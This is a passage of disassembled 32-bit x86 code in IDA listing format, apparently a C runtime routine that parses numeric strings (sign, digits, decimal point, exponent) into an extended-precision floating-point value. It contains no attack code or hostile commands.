mov eax, [ebp+arg_0]
mov [eax+8], edx
mov esp, ebp
pop ebp
retn
sub_42C930 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42C990 proc near ; CODE XREF: sub_42D6C0+382p
; sub_42F990+316p
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 8
mov eax, [ebp+arg_0]
mov ecx, [eax+8]
and ecx, 1
neg ecx
sbb ecx, ecx
and ecx, 80000000h
mov [ebp+var_8], ecx
mov edx, [ebp+arg_0]
mov eax, [edx+4]
and eax, 1
neg eax
sbb eax, eax
and eax, 80000000h
mov [ebp+var_4], eax
mov ecx, [ebp+arg_0]
mov edx, [ecx+8]
shr edx, 1
mov eax, [ebp+arg_0]
mov [eax+8], edx
mov ecx, [ebp+arg_0]
mov edx, [ecx+4]
shr edx, 1
or edx, [ebp+var_8]
mov eax, [ebp+arg_0]
mov [eax+4], edx
mov ecx, [ebp+arg_0]
mov edx, [ecx]
shr edx, 1
or edx, [ebp+var_4]
mov eax, [ebp+arg_0]
mov [eax], edx
mov esp, ebp
pop ebp
retn
sub_42C990 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42CA00 proc near ; CODE XREF: sub_42CB40+8A7p
var_10 = word ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 10h
mov [ebp+var_10], 404Eh
mov eax, [ebp+arg_8]
mov dword ptr [eax], 0
mov ecx, [ebp+arg_8]
mov dword ptr [ecx+4], 0
mov edx, [ebp+arg_8]
mov dword ptr [edx+8], 0
jmp short loc_42CA3D
; ---------------------------------------------------------------------------
loc_42CA2B: ; CODE XREF: sub_42CA00+B2j
mov eax, [ebp+arg_4]
sub eax, 1
mov [ebp+arg_4], eax
mov ecx, [ebp+arg_0]
add ecx, 1
mov [ebp+arg_0], ecx
loc_42CA3D: ; CODE XREF: sub_42CA00+29j
cmp [ebp+arg_4], 0
jbe short loc_42CAB7
mov edx, [ebp+arg_8]
mov eax, [edx]
mov [ebp+var_C], eax
mov ecx, [edx+4]
mov [ebp+var_8], ecx
mov edx, [edx+8]
mov [ebp+var_4], edx
mov eax, [ebp+arg_8]
push eax
call sub_42C930
add esp, 4
mov ecx, [ebp+arg_8]
push ecx
call sub_42C930
add esp, 4
lea edx, [ebp+var_C]
push edx
mov eax, [ebp+arg_8]
push eax
call sub_42C880
add esp, 8
mov ecx, [ebp+arg_8]
push ecx
call sub_42C930
add esp, 4
mov edx, [ebp+arg_0]
movsx eax, byte ptr [edx]
mov [ebp+var_C], eax
mov [ebp+var_8], 0
mov [ebp+var_4], 0
lea ecx, [ebp+var_C]
push ecx
mov edx, [ebp+arg_8]
push edx
call sub_42C880
add esp, 8
jmp loc_42CA2B
; ---------------------------------------------------------------------------
loc_42CAB7: ; CODE XREF: sub_42CA00+41j
; sub_42CA00+101j
mov eax, [ebp+arg_8]
cmp dword ptr [eax+8], 0
jnz short loc_42CB03
mov ecx, [ebp+arg_8]
mov edx, [ecx+4]
shr edx, 10h
mov eax, [ebp+arg_8]
mov [eax+8], edx
mov ecx, [ebp+arg_8]
mov edx, [ecx+4]
shl edx, 10h
mov eax, [ebp+arg_8]
mov ecx, [eax]
shr ecx, 10h
or edx, ecx
mov eax, [ebp+arg_8]
mov [eax+4], edx
mov ecx, [ebp+arg_8]
mov edx, [ecx]
shl edx, 10h
mov eax, [ebp+arg_8]
mov [eax], edx
mov cx, [ebp+var_10]
sub cx, 10h
mov [ebp+var_10], cx
jmp short loc_42CAB7
; ---------------------------------------------------------------------------
loc_42CB03: ; CODE XREF: sub_42CA00+BEj
; sub_42CA00+12Aj
mov edx, [ebp+arg_8]
mov eax, [edx+8]
and eax, 8000h
test eax, eax
jnz short loc_42CB2C
mov ecx, [ebp+arg_8]
push ecx
call sub_42C930
add esp, 4
mov dx, [ebp+var_10]
sub dx, 1
mov [ebp+var_10], dx
jmp short loc_42CB03
; ---------------------------------------------------------------------------
loc_42CB2C: ; CODE XREF: sub_42CA00+110j
mov eax, [ebp+arg_8]
mov cx, [ebp+var_10]
mov [eax+0Ah], cx
mov esp, ebp
pop ebp
retn
sub_42CA00 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42CB40 proc near ; CODE XREF: sub_4293C0+1Ap
; .text:0042941Ap ...
var_B4 = byte ptr -0B4h
var_B0 = dword ptr -0B0h
var_AC = dword ptr -0ACh
var_A8 = byte ptr -0A8h
var_A4 = byte ptr -0A4h
var_A0 = dword ptr -0A0h
var_9C = dword ptr -9Ch
var_98 = dword ptr -98h
var_94 = dword ptr -94h
var_90 = dword ptr -90h
var_8C = byte ptr -8Ch
var_88 = dword ptr -88h
var_84 = byte ptr -84h
var_80 = dword ptr -80h
var_7C = dword ptr -7Ch
var_78 = dword ptr -78h
var_74 = dword ptr -74h
var_70 = dword ptr -70h
var_6C = dword ptr -6Ch
var_68 = dword ptr -68h
var_64 = dword ptr -64h
var_60 = word ptr -60h
var_5E = dword ptr -5Eh
var_5A = dword ptr -5Ah
var_56 = word ptr -56h
var_54 = dword ptr -54h
var_50 = dword ptr -50h
var_4C = dword ptr -4Ch
var_48 = word ptr -48h
var_44 = dword ptr -44h
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = byte ptr -38h
var_21 = byte ptr -21h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
push ebp
mov ebp, esp
sub esp, 0B4h
lea eax, [ebp+var_38]
mov [ebp+var_68], eax
mov word ptr [ebp+var_1C], 0
mov [ebp+var_74], 1
mov [ebp+var_70], 0
mov [ebp+var_54], 0
mov [ebp+var_C], 0
mov [ebp+var_18], 0
mov [ebp+var_40], 0
mov [ebp+var_78], 0
mov [ebp+var_14], 0
mov [ebp+var_6C], 0
mov [ebp+var_44], 0
mov [ebp+var_4C], 0
mov ecx, [ebp+arg_8]
mov [ebp+var_4], ecx
mov edx, [ebp+var_4]
mov [ebp+var_64], edx
jmp short loc_42CBB9
; ---------------------------------------------------------------------------
loc_42CBB0: ; CODE XREF: sub_42CB40:loc_42CBE5j
mov eax, [ebp+var_4]
add eax, 1
mov [ebp+var_4], eax
loc_42CBB9: ; CODE XREF: sub_42CB40+6Ej
mov ecx, [ebp+var_4]
movsx edx, byte ptr [ecx]
cmp edx, 20h
jz short loc_42CBE5
mov eax, [ebp+var_4]
movsx ecx, byte ptr [eax]
cmp ecx, 9
jz short loc_42CBE5
mov edx, [ebp+var_4]
movsx eax, byte ptr [edx]
cmp eax, 0Ah
jz short loc_42CBE5
mov ecx, [ebp+var_4]
movsx edx, byte ptr [ecx]
cmp edx, 0Dh
jnz short loc_42CBE7
loc_42CBE5: ; CODE XREF: sub_42CB40+82j
; sub_42CB40+8Dj ...
jmp short loc_42CBB0
; ---------------------------------------------------------------------------
loc_42CBE7: ; CODE XREF: sub_42CB40+A3j
; sub_42CB40:loc_42D343j
cmp [ebp+var_4C], 0Ah
jz loc_42D348
mov eax, [ebp+var_4]
mov cl, [eax]
mov byte ptr [ebp+var_3C], cl
mov edx, [ebp+var_4]
add edx, 1
mov [ebp+var_4], edx
mov eax, [ebp+var_4C]
mov [ebp+var_80], eax
cmp [ebp+var_80], 0Bh
ja loc_42D343
mov ecx, [ebp+var_80]
jmp ds:off_42D55A[ecx*4]
loc_42CC1C: ; DATA XREF: .text:off_42D55Ao
movsx edx, byte ptr [ebp+var_3C]
cmp edx, 31h
jl short loc_42CC40
movsx eax, byte ptr [ebp+var_3C]
cmp eax, 39h
jg short loc_42CC40
mov [ebp+var_4C], 3
mov ecx, [ebp+var_4]
sub ecx, 1
mov [ebp+var_4], ecx
jmp short loc_42CCB5
; ---------------------------------------------------------------------------
loc_42CC40: ; CODE XREF: sub_42CB40+E3j
; sub_42CB40+ECj
movsx edx, byte ptr [ebp+var_3C]
movsx eax, byte_442F5C
cmp edx, eax
jnz short loc_42CC58
mov [ebp+var_4C], 5
jmp short loc_42CCB5
; ---------------------------------------------------------------------------
loc_42CC58: ; CODE XREF: sub_42CB40+10Dj
mov cl, byte ptr [ebp+var_3C]
mov [ebp+var_84], cl
cmp [ebp+var_84], 2Bh
jz short loc_42CC87
cmp [ebp+var_84], 2Dh
jz short loc_42CC96
cmp [ebp+var_84], 30h
jz short loc_42CC7E
jmp short loc_42CCA5
; ---------------------------------------------------------------------------
loc_42CC7E: ; CODE XREF: sub_42CB40+13Aj
mov [ebp+var_4C], 1
jmp short loc_42CCB5
; ---------------------------------------------------------------------------
loc_42CC87: ; CODE XREF: sub_42CB40+128j
mov [ebp+var_4C], 2
mov word ptr [ebp+var_1C], 0
jmp short loc_42CCB5
; ---------------------------------------------------------------------------
loc_42CC96: ; CODE XREF: sub_42CB40+131j
mov [ebp+var_4C], 2
mov word ptr [ebp+var_1C], 8000h
jmp short loc_42CCB5
; ---------------------------------------------------------------------------
loc_42CCA5: ; CODE XREF: sub_42CB40+13Cj
mov [ebp+var_4C], 0Ah
mov edx, [ebp+var_4]
sub edx, 1
mov [ebp+var_4], edx
loc_42CCB5: ; CODE XREF: sub_42CB40+FEj
; sub_42CB40+116j ...
jmp loc_42D343
; ---------------------------------------------------------------------------
loc_42CCBA: ; CODE XREF: sub_42CB40+D5j
; DATA XREF: .text:0042D55Eo
mov [ebp+var_54], 1
movsx eax, byte ptr [ebp+var_3C]
cmp eax, 31h
jl short loc_42CCE8
movsx ecx, byte ptr [ebp+var_3C]
cmp ecx, 39h
jg short loc_42CCE8
mov [ebp+var_4C], 3
mov edx, [ebp+var_4]
sub edx, 1
mov [ebp+var_4], edx
jmp loc_42CD6B
; ---------------------------------------------------------------------------
loc_42CCE8: ; CODE XREF: sub_42CB40+188j
; sub_42CB40+191j
movsx eax, byte ptr [ebp+var_3C]
movsx ecx, byte_442F5C
cmp eax, ecx
jnz short loc_42CD00
mov [ebp+var_4C], 4
jmp short loc_42CD6B
; ---------------------------------------------------------------------------
loc_42CD00: ; CODE XREF: sub_42CB40+1B5j
movsx edx, byte ptr [ebp+var_3C]
mov [ebp+var_88], edx
mov eax, [ebp+var_88]
sub eax, 2Bh
mov [ebp+var_88], eax
cmp [ebp+var_88], 3Ah
ja short loc_42CD5B
mov edx, [ebp+var_88]
xor ecx, ecx
mov cl, ds:byte_42D59A[edx]
jmp ds:off_42D58A[ecx*4]
loc_42CD37: ; CODE XREF: sub_42CB40+D5j
; DATA XREF: .text:0042D58Eo
mov [ebp+var_4C], 1
jmp short loc_42CD6B
; ---------------------------------------------------------------------------
loc_42CD40: ; CODE XREF: sub_42CB40+D5j
; sub_42CB40+1F0j
; DATA XREF: ...
mov [ebp+var_4C], 6
jmp short loc_42CD6B
; ---------------------------------------------------------------------------
loc_42CD49: ; CODE XREF: sub_42CB40+D5j
; sub_42CB40+1F0j
; DATA XREF: ...
mov eax, [ebp+var_4]
sub eax, 1
mov [ebp+var_4], eax
mov [ebp+var_4C], 0Bh
jmp short loc_42CD6B
; ---------------------------------------------------------------------------
loc_42CD5B: ; CODE XREF: sub_42CB40+D5j
; sub_42CB40+1E0j ...
mov [ebp+var_4C], 0Ah
mov ecx, [ebp+var_4]
sub ecx, 1
mov [ebp+var_4], ecx
loc_42CD6B: ; CODE XREF: sub_42CB40+1A3j
; sub_42CB40+1BEj ...
jmp loc_42D343
; ---------------------------------------------------------------------------
loc_42CD70: ; CODE XREF: sub_42CB40+D5j
; DATA XREF: .text:0042D562o
movsx edx, byte ptr [ebp+var_3C]
cmp edx, 31h
jl short loc_42CD94
movsx eax, byte ptr [ebp+var_3C]
cmp eax, 39h
jg short loc_42CD94
mov [ebp+var_4C], 3
mov ecx, [ebp+var_4]
sub ecx, 1
mov [ebp+var_4], ecx
jmp short loc_42CDD6
; ---------------------------------------------------------------------------
loc_42CD94: ; CODE XREF: sub_42CB40+237j
; sub_42CB40+240j
movsx edx, byte ptr [ebp+var_3C]
movsx eax, byte_442F5C
cmp edx, eax
jnz short loc_42CDAC
mov [ebp+var_4C], 5
jmp short loc_42CDD6
; ---------------------------------------------------------------------------
loc_42CDAC: ; CODE XREF: sub_42CB40+261j
mov cl, byte ptr [ebp+var_3C]
mov [ebp+var_8C], cl
cmp [ebp+var_8C], 30h
jz short loc_42CDC0
jmp short loc_42CDC9
; ---------------------------------------------------------------------------
loc_42CDC0: ; CODE XREF: sub_42CB40+27Cj
mov [ebp+var_4C], 1
jmp short loc_42CDD6
; ---------------------------------------------------------------------------
loc_42CDC9: ; CODE XREF: sub_42CB40+27Ej
mov [ebp+var_4C], 0Ah
mov edx, [ebp+var_64]
mov [ebp+var_4], edx
loc_42CDD6: ; CODE XREF: sub_42CB40+252j
; sub_42CB40+26Aj ...
jmp loc_42D343
; ---------------------------------------------------------------------------
loc_42CDDB: ; CODE XREF: sub_42CB40+D5j
; DATA XREF: .text:0042D566o
mov [ebp+var_54], 1
jmp short loc_42CDF5
; ---------------------------------------------------------------------------
loc_42CDE4: ; CODE XREF: sub_42CB40:loc_42CE6Fj
mov eax, [ebp+var_4]
mov cl, [eax]
mov byte ptr [ebp+var_3C], cl
mov edx, [ebp+var_4]
add edx, 1
mov [ebp+var_4], edx
loc_42CDF5: ; CODE XREF: sub_42CB40+2A2j
cmp dword_442F58, 1
jle short loc_42CE19
push 4
mov eax, [ebp+var_3C]
and eax, 0FFh
push eax
call sub_41E750
add esp, 8
mov [ebp+var_90], eax
jmp short loc_42CE37
; ---------------------------------------------------------------------------
loc_42CE19: ; CODE XREF: sub_42CB40+2BCj
mov ecx, [ebp+var_3C]
and ecx, 0FFh
mov edx, off_442D4C
xor eax, eax
mov ax, [edx+ecx*2]
and eax, 4
mov [ebp+var_90], eax
loc_42CE37: ; CODE XREF: sub_42CB40+2D7j
cmp [ebp+var_90], 0
jz short loc_42CE74
cmp [ebp+var_70], 19h
jnb short loc_42CE66
mov ecx, [ebp+var_70]
add ecx, 1
mov [ebp+var_70], ecx
movsx edx, byte ptr [ebp+var_3C]
sub edx, 30h
mov eax, [ebp+var_68]
mov [eax], dl
mov ecx, [ebp+var_68]
add ecx, 1
mov [ebp+var_68], ecx
jmp short loc_42CE6F
; ---------------------------------------------------------------------------
loc_42CE66: ; CODE XREF: sub_42CB40+304j
mov edx, [ebp+var_6C]
add edx, 1
mov [ebp+var_6C], edx
loc_42CE6F: ; CODE XREF: sub_42CB40+324j
jmp loc_42CDE4
; ---------------------------------------------------------------------------
loc_42CE74: ; CODE XREF: sub_42CB40+2FEj
movsx eax, byte ptr [ebp+var_3C]
movsx ecx, byte_442F5C
cmp eax, ecx
jnz short loc_42CE8C
mov [ebp+var_4C], 4
jmp short loc_42CEEE
; ---------------------------------------------------------------------------
loc_42CE8C: ; CODE XREF: sub_42CB40+341j
movsx edx, byte ptr [ebp+var_3C]
mov [ebp+var_94], edx
mov eax, [ebp+var_94]
sub eax, 2Bh
mov [ebp+var_94], eax
cmp [ebp+var_94], 3Ah
ja short loc_42CEDE
mov edx, [ebp+var_94]
xor ecx, ecx
mov cl, ds:byte_42D5E1[edx]
jmp ds:off_42D5D5[ecx*4]
loc_42CEC3: ; DATA XREF: .text:0042D5D9o
mov [ebp+var_4C], 6
jmp short loc_42CEEE
; ---------------------------------------------------------------------------
loc_42CECC: ; CODE XREF: sub_42CB40+37Cj
; DATA XREF: .text:off_42D5D5o
mov eax, [ebp+var_4]
sub eax, 1
mov [ebp+var_4], eax
mov [ebp+var_4C], 0Bh
jmp short loc_42CEEE
; ---------------------------------------------------------------------------
loc_42CEDE: ; CODE XREF: sub_42CB40+36Cj
; sub_42CB40+37Cj
; DATA XREF: ...
mov [ebp+var_4C], 0Ah
mov ecx, [ebp+var_4]
sub ecx, 1
mov [ebp+var_4], ecx
loc_42CEEE: ; CODE XREF: sub_42CB40+34Aj
; sub_42CB40+38Aj ...
jmp loc_42D343
; ---------------------------------------------------------------------------
loc_42CEF3: ; CODE XREF: sub_42CB40+D5j
; DATA XREF: .text:0042D56Ao
mov [ebp+var_54], 1
mov [ebp+var_C], 1
cmp [ebp+var_70], 0
jnz short loc_42CF2E
jmp short loc_42CF1A
; ---------------------------------------------------------------------------
loc_42CF09: ; CODE XREF: sub_42CB40+3ECj
mov edx, [ebp+var_4]
mov al, [edx]
mov byte ptr [ebp+var_3C], al
mov ecx, [ebp+var_4]
add ecx, 1
mov [ebp+var_4], ecx
loc_42CF1A: ; CODE XREF: sub_42CB40+3C7j
movsx edx, byte ptr [ebp+var_3C]
cmp edx, 30h
jnz short loc_42CF2E
mov eax, [ebp+var_6C]
sub eax, 1
mov [ebp+var_6C], eax
jmp short loc_42CF09
; ---------------------------------------------------------------------------
loc_42CF2E: ; CODE XREF: sub_42CB40+3C5j
; sub_42CB40+3E1j
jmp short loc_42CF41
; ---------------------------------------------------------------------------
loc_42CF30: ; CODE XREF: sub_42CB40:loc_42CFB9j
mov ecx, [ebp+var_4]
mov dl, [ecx]
mov byte ptr [ebp+var_3C], dl
mov eax, [ebp+var_4]
add eax, 1
mov [ebp+var_4], eax
loc_42CF41: ; CODE XREF: sub_42CB40:loc_42CF2Ej
cmp dword_442F58, 1
jle short loc_42CF66
push 4
mov ecx, [ebp+var_3C]
and ecx, 0FFh
push ecx
call sub_41E750
add esp, 8
mov [ebp+var_98], eax
jmp short loc_42CF83
; ---------------------------------------------------------------------------
loc_42CF66: ; CODE XREF: sub_42CB40+408j
mov edx, [ebp+var_3C]
and edx, 0FFh
mov eax, off_442D4C
xor ecx, ecx
mov cx, [eax+edx*2]
and ecx, 4
mov [ebp+var_98], ecx
loc_42CF83: ; CODE XREF: sub_42CB40+424j
cmp [ebp+var_98], 0
jz short loc_42CFBE
cmp [ebp+var_70], 19h
jnb short loc_42CFB9
mov edx, [ebp+var_70]
add edx, 1
mov [ebp+var_70], edx
movsx eax, byte ptr [ebp+var_3C]
sub eax, 30h
mov ecx, [ebp+var_68]
mov [ecx], al
mov edx, [ebp+var_68]
add edx, 1
mov [ebp+var_68], edx
mov eax, [ebp+var_6C]
sub eax, 1
mov [ebp+var_6C], eax
loc_42CFB9: ; CODE XREF: sub_42CB40+450j
jmp loc_42CF30
; ---------------------------------------------------------------------------
loc_42CFBE: ; CODE XREF: sub_42CB40+44Aj
movsx ecx, byte ptr [ebp+var_3C]
mov [ebp+var_9C], ecx
mov edx, [ebp+var_9C]
sub edx, 2Bh
mov [ebp+var_9C], edx
cmp [ebp+var_9C], 3Ah
ja short loc_42D010
mov ecx, [ebp+var_9C]
xor eax, eax
mov al, ds:byte_42D628[ecx]
jmp ds:off_42D61C[eax*4]
loc_42CFF5: ; DATA XREF: .text:0042D620o
mov [ebp+var_4C], 6
jmp short loc_42D020
; ---------------------------------------------------------------------------
loc_42CFFE: ; CODE XREF: sub_42CB40+4AEj
; DATA XREF: .text:off_42D61Co
mov edx, [ebp+var_4]
sub edx, 1
mov [ebp+var_4], edx
mov [ebp+var_4C], 0Bh
jmp short loc_42D020
; ---------------------------------------------------------------------------
loc_42D010: ; CODE XREF: sub_42CB40+49Ej
; sub_42CB40+4AEj
; DATA XREF: ...
mov [ebp+var_4C], 0Ah
mov eax, [ebp+var_4]
sub eax, 1
mov [ebp+var_4], eax
loc_42D020: ; CODE XREF: sub_42CB40+4BCj
; sub_42CB40+4CEj
jmp loc_42D343
; ---------------------------------------------------------------------------
loc_42D025: ; CODE XREF: sub_42CB40+D5j
; DATA XREF: .text:0042D56Eo
mov [ebp+var_C], 1
cmp dword_442F58, 1
jle short loc_42D051
push 4
mov ecx, [ebp+var_3C]
and ecx, 0FFh
push ecx
call sub_41E750
add esp, 8
mov [ebp+var_A0], eax
jmp short loc_42D06E
; ---------------------------------------------------------------------------
loc_42D051: ; CODE XREF: sub_42CB40+4F3j
mov edx, [ebp+var_3C]
and edx, 0FFh
mov eax, off_442D4C
xor ecx, ecx
mov cx, [eax+edx*2]
and ecx, 4
mov [ebp+var_A0], ecx
loc_42D06E: ; CODE XREF: sub_42CB40+50Fj
cmp [ebp+var_A0], 0
jz short loc_42D089
mov [ebp+var_4C], 4
mov edx, [ebp+var_4]
sub edx, 1
mov [ebp+var_4], edx
jmp short loc_42D096
; ---------------------------------------------------------------------------
loc_42D089: ; CODE XREF: sub_42CB40+535j
mov [ebp+var_4C], 0Ah
mov eax, [ebp+var_64]
mov [ebp+var_4], eax
loc_42D096: ; CODE XREF: sub_42CB40+547j
jmp loc_42D343
; ---------------------------------------------------------------------------
loc_42D09B: ; CODE XREF: sub_42CB40+D5j
; DATA XREF: .text:0042D572o
mov ecx, [ebp+var_4]
sub ecx, 2
mov [ebp+var_64], ecx
movsx edx, byte ptr [ebp+var_3C]
cmp edx, 31h
jl short loc_42D0C8
movsx eax, byte ptr [ebp+var_3C]
cmp eax, 39h
jg short loc_42D0C8
mov [ebp+var_4C], 9
mov ecx, [ebp+var_4]
sub ecx, 1
mov [ebp+var_4], ecx
jmp short loc_42D11D
; ---------------------------------------------------------------------------
loc_42D0C8: ; CODE XREF: sub_42CB40+56Bj
; sub_42CB40+574j
mov dl, byte ptr [ebp+var_3C]
mov [ebp+var_A4], dl
cmp [ebp+var_A4], 2Bh
jz short loc_42D107
cmp [ebp+var_A4], 2Dh
jz short loc_42D0F7
cmp [ebp+var_A4], 30h
jz short loc_42D0EE
jmp short loc_42D110
; ---------------------------------------------------------------------------
loc_42D0EE: ; CODE XREF: sub_42CB40+5AAj
mov [ebp+var_4C], 8
jmp short loc_42D11D
; ---------------------------------------------------------------------------
loc_42D0F7: ; CODE XREF: sub_42CB40+5A1j
mov [ebp+var_4C], 7
mov [ebp+var_74], 0FFFFFFFFh
jmp short loc_42D11D
; ---------------------------------------------------------------------------
loc_42D107: ; CODE XREF: sub_42CB40+598j
mov [ebp+var_4C], 7
jmp short loc_42D11D
; ---------------------------------------------------------------------------
loc_42D110: ; CODE XREF: sub_42CB40+5ACj
mov [ebp+var_4C], 0Ah
mov eax, [ebp+var_64]
mov [ebp+var_4], eax
loc_42D11D: ; CODE XREF: sub_42CB40+586j
; sub_42CB40+5B5j ...
jmp loc_42D343
; ---------------------------------------------------------------------------
loc_42D122: ; CODE XREF: sub_42CB40+D5j
; DATA XREF: .text:0042D57Ao
mov [ebp+var_18], 1
jmp short loc_42D13C
; ---------------------------------------------------------------------------
loc_42D12B: ; CODE XREF: sub_42CB40+605j
mov ecx, [ebp+var_4]
mov dl, [ecx]
mov byte ptr [ebp+var_3C], dl
mov eax, [ebp+var_4]
add eax, 1
mov [ebp+var_4], eax
loc_42D13C: ; CODE XREF: sub_42CB40+5E9j
movsx ecx, byte ptr [ebp+var_3C]
cmp ecx, 30h
jnz short loc_42D147
jmp short loc_42D12B
; ---------------------------------------------------------------------------
loc_42D147: ; CODE XREF: sub_42CB40+603j
movsx edx, byte ptr [ebp+var_3C]
cmp edx, 31h
jl short loc_42D16B
movsx eax, byte ptr [ebp+var_3C]
cmp eax, 39h
jg short loc_42D16B
mov [ebp+var_4C], 9
mov ecx, [ebp+var_4]
sub ecx, 1
mov [ebp+var_4], ecx
jmp short loc_42D17B
; ---------------------------------------------------------------------------
loc_42D16B: ; CODE XREF: sub_42CB40+60Ej
; sub_42CB40+617j
mov [ebp+var_4C], 0Ah
mov edx, [ebp+var_4]
sub edx, 1
mov [ebp+var_4], edx
loc_42D17B: ; CODE XREF: sub_42CB40+629j
jmp loc_42D343
; ---------------------------------------------------------------------------
loc_42D180: ; CODE XREF: sub_42CB40+D5j
; DATA XREF: .text:0042D576o
movsx eax, byte ptr [ebp+var_3C]
cmp eax, 31h
jl short loc_42D1A4
movsx ecx, byte ptr [ebp+var_3C]
cmp ecx, 39h
jg short loc_42D1A4
mov [ebp+var_4C], 9
mov edx, [ebp+var_4]
sub edx, 1
mov [ebp+var_4], edx
jmp short loc_42D1CE
; ---------------------------------------------------------------------------
loc_42D1A4: ; CODE XREF: sub_42CB40+647j
; sub_42CB40+650j
mov al, byte ptr [ebp+var_3C]
mov [ebp+var_A8], al
cmp [ebp+var_A8], 30h
jz short loc_42D1B8
jmp short loc_42D1C1
; ---------------------------------------------------------------------------
loc_42D1B8: ; CODE XREF: sub_42CB40+674j
mov [ebp+var_4C], 8
jmp short loc_42D1CE
; ---------------------------------------------------------------------------
loc_42D1C1: ; CODE XREF: sub_42CB40+676j
mov [ebp+var_4C], 0Ah
mov ecx, [ebp+var_64]
mov [ebp+var_4], ecx
loc_42D1CE: ; CODE XREF: sub_42CB40+662j
; sub_42CB40+67Fj
jmp loc_42D343
; ---------------------------------------------------------------------------
loc_42D1D3: ; CODE XREF: sub_42CB40+D5j
; DATA XREF: .text:0042D57Eo
mov [ebp+var_18], 1
mov [ebp+var_7C], 0
jmp short loc_42D1F4
; ---------------------------------------------------------------------------
loc_42D1E3: ; CODE XREF: sub_42CB40:loc_42D262j
mov edx, [ebp+var_4]
mov al, [edx]
mov byte ptr [ebp+var_3C], al
mov ecx, [ebp+var_4]
add ecx, 1
mov [ebp+var_4], ecx
loc_42D1F4: ; CODE XREF: sub_42CB40+6A1j
cmp dword_442F58, 1
jle short loc_42D219
push 4
mov edx, [ebp+var_3C]
and edx, 0FFh
push edx
call sub_41E750
add esp, 8
mov [ebp+var_AC], eax
jmp short loc_42D236
; ---------------------------------------------------------------------------
loc_42D219: ; CODE XREF: sub_42CB40+6BBj
mov eax, [ebp+var_3C]
and eax, 0FFh
mov ecx, off_442D4C
xor edx, edx
mov dx, [ecx+eax*2]
and edx, 4
mov [ebp+var_AC], edx
loc_42D236: ; CODE XREF: sub_42CB40+6D7j
cmp [ebp+var_AC], 0
jz short loc_42D267
mov eax, [ebp+var_7C]
imul eax, 0Ah
movsx ecx, byte ptr [ebp+var_3C]
lea edx, [eax+ecx-30h]
mov [ebp+var_7C], edx
cmp [ebp+var_7C], 1450h
jle short loc_42D262
mov [ebp+var_7C], 1451h
jmp short loc_42D267
; ---------------------------------------------------------------------------
loc_42D262: ; CODE XREF: sub_42CB40+717j
jmp loc_42D1E3
; ---------------------------------------------------------------------------
loc_42D267: ; CODE XREF: sub_42CB40+6FDj
; sub_42CB40+720j
mov eax, [ebp+var_7C]
mov [ebp+var_14], eax
jmp short loc_42D280
; ---------------------------------------------------------------------------
loc_42D26F: ; CODE XREF: sub_42CB40+78Bj
mov ecx, [ebp+var_4]
mov dl, [ecx]
mov byte ptr [ebp+var_3C], dl
mov eax, [ebp+var_4]
add eax, 1
mov [ebp+var_4], eax
loc_42D280: ; CODE XREF: sub_42CB40+72Dj
cmp dword_442F58, 1
jle short loc_42D2A5
push 4
mov ecx, [ebp+var_3C]
and ecx, 0FFh
push ecx
call sub_41E750
add esp, 8
mov [ebp+var_B0], eax
jmp short loc_42D2C2
; ---------------------------------------------------------------------------
loc_42D2A5: ; CODE XREF: sub_42CB40+747j
mov edx, [ebp+var_3C]
and edx, 0FFh
mov eax, off_442D4C
xor ecx, ecx
mov cx, [eax+edx*2]
and ecx, 4
mov [ebp+var_B0], ecx
loc_42D2C2: ; CODE XREF: sub_42CB40+763j
cmp [ebp+var_B0], 0
jz short loc_42D2CD
jmp short loc_42D26F
; ---------------------------------------------------------------------------
loc_42D2CD: ; CODE XREF: sub_42CB40+789j
mov [ebp+var_4C], 0Ah
mov edx, [ebp+var_4]
sub edx, 1
mov [ebp+var_4], edx
jmp short loc_42D343
; ---------------------------------------------------------------------------
loc_42D2DF: ; CODE XREF: sub_42CB40+D5j
; DATA XREF: .text:0042D586o
cmp [ebp+arg_18], 0
jz short loc_42D333
mov eax, [ebp+var_4]
sub eax, 1
mov [ebp+var_64], eax
mov cl, byte ptr [ebp+var_3C]
mov [ebp+var_B4], cl
cmp [ebp+var_B4], 2Bh
jz short loc_42D31B
cmp [ebp+var_B4], 2Dh
jz short loc_42D30B
jmp short loc_42D324
; ---------------------------------------------------------------------------
loc_42D30B: ; CODE XREF: sub_42CB40+7C7j
mov [ebp+var_4C], 7
mov [ebp+var_74], 0FFFFFFFFh
jmp short loc_42D331
; ---------------------------------------------------------------------------
loc_42D31B: ; CODE XREF: sub_42CB40+7BEj
mov [ebp+var_4C], 7
jmp short loc_42D331
; ---------------------------------------------------------------------------
loc_42D324: ; CODE XREF: sub_42CB40+7C9j
mov [ebp+var_4C], 0Ah
mov edx, [ebp+var_64]
mov [ebp+var_4], edx
loc_42D331: ; CODE XREF: sub_42CB40+7D9j
; sub_42CB40+7E2j
jmp short loc_42D343
; ---------------------------------------------------------------------------
loc_42D333: ; CODE XREF: sub_42CB40+7A3j
mov [ebp+var_4C], 0Ah
mov eax, [ebp+var_4]
sub eax, 1
mov [ebp+var_4], eax
loc_42D343: ; CODE XREF: sub_42CB40+CCj
; sub_42CB40+D5j ...
jmp loc_42CBE7
; ---------------------------------------------------------------------------
loc_42D348: ; CODE XREF: sub_42CB40+ABj
mov ecx, [ebp+arg_4]
mov edx, [ebp+var_4]
mov [ecx], edx
cmp [ebp+var_54], 0
jz loc_42D497
cmp [ebp+var_40], 0
jnz loc_42D497
cmp [ebp+var_78], 0
jnz loc_42D497
cmp [ebp+var_70], 18h
jbe short loc_42D39F
movsx eax, [ebp+var_21]
cmp eax, 5
jl short loc_42D386
mov cl, [ebp+var_21]
add cl, 1
